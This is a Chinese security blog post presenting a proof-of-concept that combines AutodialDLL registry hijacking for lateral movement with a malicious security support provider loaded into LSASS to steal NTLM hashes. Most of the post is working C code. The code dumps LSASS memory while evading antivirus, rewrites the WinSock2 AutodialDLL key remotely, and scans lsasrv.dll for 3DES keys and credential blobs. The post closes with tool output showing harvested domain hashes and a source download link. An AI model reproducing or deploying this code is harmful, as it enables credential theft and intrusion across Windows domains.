结合AutodialDLL横向移动技术和SSP的PoC,从LSASS进程中抓取NTLM哈希
2023-3-19 23:10:28 Author: MicroPest(查看原文) 阅读量:98 收藏

    在这篇里,涉及到“AutoDialDLL持久化驻留并横向移动、加载SSP、抓取NTLM哈希”等知识点内容,且每一项内容都能作为一个点延伸展开学习,确实相当的复杂,强烈建议要读源码来理解细节。

一、AddSecurityPackage和加载SSP

关于LSASS进程的Dump,以前写过有《Hook打造Lsass NTLM 身份认证后门》《利用签名驱动绕过LSA保护PPL》《Process Herpaderping》,可以参考辅助。但当我们Dump时(或者“内网横向移动的过程中怎么绕过一些杀毒软件(如卡巴斯基)来获取LSASS进程里面用户的一些密码哈希值”),出现“由于杀毒软件的存在,直接去读写LSASS进程会被拦截,比如在任务管理器中直接创建转储文件会显示拒绝访问:

又或者直接调用comsvcs.dll中的MiniDump来获取也会被提示拦截:

在这里,作者给出了绕过原理就是“调用AddSecurityPackage函数来让LSASS进程主动加载我们的DLL文件,而在DLL加载后会直接DUMP自己宿主进程LSASS的内存,以此来成功绕过杀软的限制”。

如下是加载SSP的代码:

int _tmain(int argc, _TCHAR* argv[])
{
SECURITY_PACKAGE_OPTIONS sp = {0};
sp.Size = sizeof(sp);
sp.Type = SECPKG_OPTIONS_TYPE_LSA;
HMODULE hm = LoadLibraryA("sspicli.dll");
if (hm) {
ptr = (pAddSecurityPackage)GetProcAddress(hm, "AddSecurityPackageA");
if (ptr) {
ptr("C:\\Users\\sushan\\Desktop\\123.dll",&sp);
}
}
return 0;
}

其核心代码为:

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
HANDLE hFile = CreateFile("C:\\Users\\sushan\\Desktop\\test.txt", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile != INVALID_HANDLE_VALUE) {
MiniDumpWriteDump((HANDLE)-1, GetCurrentProcessId(), hFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
CloseHandle(hFile);
}
}
case DLL_THREAD_ATTACH:

管理员权限运行SSP.exe,卡巴全程没拦截直接输出test文件,再使用mimikatz加载解析test文件,成功获取测试环境下账号的明文密码以及哈希值:

二、结合AutodialDLL横向移动技术和SSPPoC,从LSASS进程中抓取NTLM哈希

    这里提出了一种新方法:将DLL上传到目标机器;然后它使远程注册表能够修改AutodialDLL条目并启动/重新启动BITS服务;Svchosts将加载我们的DLL,再次将AutodiaDLL设置为默认值并执行RPC请求以强制LSASS加载与SSP相同的DLL;一旦DLLLSASS加载,它将在进程内存中搜索以提取NTLM哈希和密钥/IV

1、横向运动

当进程使用WinSock2库时,该进程还会加载其他附加DLL以提供不同 WinSock2 服务提供者的功能。AutodialDLL子项定义的DLL 是这些可以加载的“额外”DLL 之一。默认情况下,此项设置为c:\windows\system32\rasadhlp.dll

如果我们用跟踪attach/detach事件的虚假DLL路径修改这个注册表项,我们就可以看到DLL如何开始为每个尝试连接到Internet的新进程逐渐加载的。

可以利用此行为来执行横向移动。一般来说,思路是通过SMB上传一个DLL到目标机器,然后通过Remote Registry service或者WMI修改注册表。下次进程利用Winsock2时,它会加载我们植入的 DLL 并触发我们的有效负载的执行。这种通用方法需要改进以解决一些不便之处:

  • 在恢复注册表项之前,DLL将由多个进程加载。

  • DLL将由非特权进程加载,这意味着将生成多个受限beacon

如果我们的DLL在被具有足够权限的进程加载后继续恢复注册表项,则第一个问题可以轻松解决。要做到这一点,我们可以做一些简单的事情,比如在附加上执行这个:

LPCSTR orig = "C:\\windows\\system32\\rasadhlp.dll";

    HKEY hKey;

if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parameters", 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) 

{   RegSetValueExA(hKey, "AutodialDLL", 0, REG_SZ, (LPBYTE)orig, strlen(orig) + 1);

    RegCloseKey(hKey);   }

2、凭据收集

在下面的例子中,我们将两个TTPAutodialDLLSSP)组合在同一个DLL中以从远程机器收集凭证。

通过使用APIRPC调用,可以强制lsass进程以安全服务提供程序的形式加载新的DLL,而无需重新启动计算机AddSecurityPackage。我们将用代码来执行SSP加载,但是我们会以lsasrv.dll内存中寻找NTLM哈希值的方式进行(类似于sekurlsa::msv)。

首先,我们的DLL必须确定它是否已被lsass.exe或其他进程加载。对于后一种情况,必须执行RPC调用,以便lsass.exe加载同一个DLL(还需要将AutodialDLL条目恢复为其原始值以防止额外加载)。如果它已经被LSASS加载,那么它只需要在内存中查找哈希并将它们保存在文本文件中,例如:

void onAttach(void)

{

    LPSTR path = (LPSTR)malloc(MAX_PATH);

    GetModuleFileNameA(NULL, path, MAX_PATH);

 if (strncmp(path, "C:\\Windows\\system32\\lsass.exe", MAX_PATH) == 0) { getHashes(); }

 else {

        LPCSTR orig = "C:\\windows\\system32\\rasadhlp.dll";

        HKEY hKey;

        if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parameters", 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) {

            RegSetValueExA(hKey, "AutodialDLL", 0, REG_SZ, (LPBYTE)orig, strlen(orig) + 1);

            RegCloseKey(hKey);

            addSSP();

        }

    }

    free(path);

}

在这两种情况下,DLL都会从DllMain返回FALSE,以防止DLL驻留在任一进程中。

BOOL WINAPI DllMain(HINSTANCE hinstDLL,  DWORD fdwReason,  LPVOID lpReserved)

{

    switch (fdwReason)

    {

    case DLL_PROCESS_ATTACH:

        ourself = hinstDLL;

        onAttach();

        break;

    case DLL_THREAD_ATTACH:

        break;

    case DLL_THREAD_DETACH:

        break;

    case DLL_PROCESS_DETACH:

        break;

    }

    return FALSE;

}

本质上,我们是在lsasrv.dll中搜索签名,然后检索定位结构所需的信息LogonSessionList和所需的加密密钥/IV。由于这个 PoC模仿Matteo Malvica的帖子,我们将只检索使用Triple-DES加密的cryptoblob

//...

HMODULE ourself = NULL;

// In this PoC I am targeting a Windows 1809. For a real usage it needs to check the Windows version and choose the right signatures and offsets. This information can be collected from 

//https://github.com/gentilkiwi/mimikatz/blob/a2271237d168c6ca40d11ece565cf97a5e1d3fc1/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa_utils.c#L14

BYTE LsaInitialize_needle[] =    { 0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x8d, 0x45, 0xe0, 0x44, 0x8b, 0x4d, 0xd8, 0x48, 0x8d, 0x15 };

BYTE LogonSessionList_needle[] = { 0x33, 0xff, 0x41, 0x89, 0x37, 0x4c, 0x8b, 0xf3, 0x45, 0x85, 0xc9, 0x74 };

//...

void getHashes(void) {

    unsigned char* moduleBase;

    DWORD offset;

    DWORD offsetLogonSessionList_needle;

    unsigned char* iv_vector;

    unsigned char* DES_key = NULL;

    ULONGLONG iv_offset = 0;

    ULONGLONG hDes_offset = 0;

    ULONGLONG DES_pointer = 0;

    ULONGLONG LogonSessionList_offset = 0;

    unsigned char* currentElem = NULL;

    unsigned char* LogonSessionList;

    KIWI_BCRYPT_HANDLE_KEY h3DesKey;

    KIWI_BCRYPT_KEY81 extracted3DesKey;

    moduleBase = (unsigned char*)GetModuleHandleA("lsasrv.dll");

    offset = SearchPattern(moduleBase, LsaInitialize_needle, sizeof(LsaInitialize_needle), 0x200000);

    FILE* file;

    if ((file = fopen("C:\\pwned.pwn", "ab")) == NULL) {

        return;    }

    char* loginfo;

    memcpy(&iv_offset, offset + moduleBase + 0x43, 4);

    iv_vector = (unsigned char*)malloc(16);

    memcpy(iv_vector, offset + moduleBase + 0x43 + 4 + iv_offset, 16);

    fwrite("IV:", strlen("IV:"), 1, file);

    for (int i = 0; i < 16; i++) {

        loginfo = (char*)malloc(4);

        snprintf(loginfo, 4, "%02x", iv_vector[i]);

        fwrite(loginfo, 2, 1, file);

        free(loginfo);

    }

    free(iv_vector);

    memcpy(&hDes_offset, moduleBase + offset - 0x59, 4);   

    memcpy(&DES_pointer, moduleBase + offset - 0x59 + 4 + hDes_offset, 8);

    memcpy(&h3DesKey, (void *)DES_pointer, sizeof(KIWI_BCRYPT_HANDLE_KEY));

    memcpy(&extracted3DesKey, h3DesKey.key, sizeof(KIWI_BCRYPT_KEY81));    

    DES_key = (unsigned char*)malloc(extracted3DesKey.hardkey.cbSecret);

    memcpy(DES_key, extracted3DesKey.hardkey.data, extracted3DesKey.hardkey.cbSecret);

    fwrite("\n3DES: ", strlen("\n3DES:"), 1, file);

    for (int i = 0; i < extracted3DesKey.hardkey.cbSecret; i++) {

        loginfo = (char*)malloc(4);

        snprintf(loginfo, 4, "%02x", DES_key[i]);

        fwrite(loginfo, 2, 1, file);

        free(loginfo);

    }

    free(DES_key);

    offsetLogonSessionList_needle = SearchPattern(moduleBase, LogonSessionList_needle, sizeof(LogonSessionList_needle), 0x200000);

    memcpy(&LogonSessionList_offset, moduleBase + offsetLogonSessionList_needle + 0x17, 4);

    LogonSessionList = moduleBase + offsetLogonSessionList_needle + 0x17 + 4 + LogonSessionList_offset;

    while (currentElem != LogonSessionList) {

        if (currentElem == NULL) {

            currentElem = LogonSessionList;        }

        ULONGLONG tmp = 0;

        USHORT length = 0;

        LPWSTR username = NULL;

        ULONGLONG username_pointer = 0;

        memcpy(&tmp, currentElem, 8);

        currentElem = (unsigned char*)tmp;

        memcpy(&length, (void*)(tmp + 0x90), 2);

        username = (LPWSTR)malloc(length + 2);

        memset(username, 0, length + 2);

        memcpy(&username_pointer, (void*)(tmp + 0x98), 8);

        memcpy(username, (void*)username_pointer, length);

        loginfo = (char*)malloc(1024);

        snprintf(loginfo, 1024, "\nUser: %S\n", username);

        fwrite(loginfo, strlen(loginfo), 1, file);

        free(loginfo);

        free(username);

        ULONGLONG credentials_pointer = 0;

        memcpy(&credentials_pointer, (void*)(tmp + 0x108), 8);

        if (credentials_pointer == 0) {

            continue;        }

        ULONGLONG primaryCredentials_pointer = 0;

        memcpy(&primaryCredentials_pointer, (void*)(credentials_pointer + 0x10), 8);

        USHORT cryptoblob_size = 0;

        memcpy(&cryptoblob_size, (void*)(primaryCredentials_pointer + 0x18), 4);

        if (cryptoblob_size % 8 != 0) {

            loginfo = (char*)malloc(1024);

            snprintf(loginfo, 1024, "\nPasswordErr: NOT COMPATIBLE WITH 3DES, skipping\n");

            fwrite(loginfo, strlen(loginfo), 1, file);

            free(loginfo);

            continue;

        }

        ULONGLONG cryptoblob_pointer = 0;

        memcpy(&cryptoblob_pointer, (void*)(primaryCredentials_pointer + 0x20), 8);

        unsigned char* cryptoblob = (unsigned char*)malloc(cryptoblob_size);

        memcpy(cryptoblob, (void*)cryptoblob_pointer, cryptoblob_size);

        loginfo = (char*)malloc(1024);

        snprintf(loginfo, 1024, "\nPassword:");

        fwrite(loginfo, strlen(loginfo), 1, file);

        free(loginfo);

        for (int i = 0; i < cryptoblob_size; i++) {

            loginfo = (char*)malloc(4);

            snprintf(loginfo, 4, "%02x", cryptoblob[i]);

            fwrite(loginfo, 2, 1, file);

            free(loginfo);

        }

        free(cryptoblob);

   }

    fclose(file);

}

//...

最后,需要python脚本来读取包含所收集信息的文本文件(并执行cryptoblob的解密):

例子:

Windows 服务器192.168.56.20和域控制器192.168.56.10

python3 dragoncastle.py -u vagrant -p 'vagrant' -d WINTERFELL -target-ip 192.168.56.20 -remote-dll "c:\dump.dll" -local-dll DragonCastle.dll                          

[+] Connecting to 192.168.56.20

[+] Uploading DragonCastle.dll to c:\dump.dll

[+] Checking Remote Registry service status...

[+] Service is down!

[+] Starting Remote Registry service...

[+] Connecting to 192.168.56.20

[+] Updating AutodialDLL value

[+] Stopping Remote Registry Service

[+] Checking BITS service status...

[+] Service is down!

[+] Starting BITS service

[+] Downloading creds

[+] Deleting credential file

[+] Parsing creds:

============

----

User: vagrant

Domain: WINTERFELL

----

User: vagrant

Domain: WINTERFELL

----

User: eddard.stark

Domain: SEVENKINGDOMS

NTLM: d977b98c6c9282c5c478be1d97b237b8

----

User: eddard.stark

Domain: SEVENKINGDOMS

NTLM: d977b98c6c9282c5c478be1d97b237b8

----

User: vagrant

Domain: WINTERFELL

NTLM: e02bc503339d51f71d913c245d35b50b

----

User: DWM-1

Domain: Window Manager

NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590

----

User: DWM-1

Domain: Window Manager

NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590

----

User: WINTERFELL$

Domain: SEVENKINGDOMS

NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590

----

User: UMFD-0

Domain: Font Driver Host

NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590

----

User: 

Domain: 

NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590

----

User: 

Domain: 

============

[+] Deleting DLL

[^] Have a nice day!

三、源码

链接:https://pan.baidu.com/s/1-OY6MEzTZTxu4lvwA3HPRw

提取码:9l70 


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NDcxMDQzNA==&mid=2247487691&idx=1&sn=f37ad89b70d291da40243e3419e4af11&chksm=a682c60691f54f10ee6309dcae57697ef64f3af58e158f8f6a4fbb0e7fae7161ef1b3b0f95f4#rd
如有侵权请联系:admin#unsafe.sh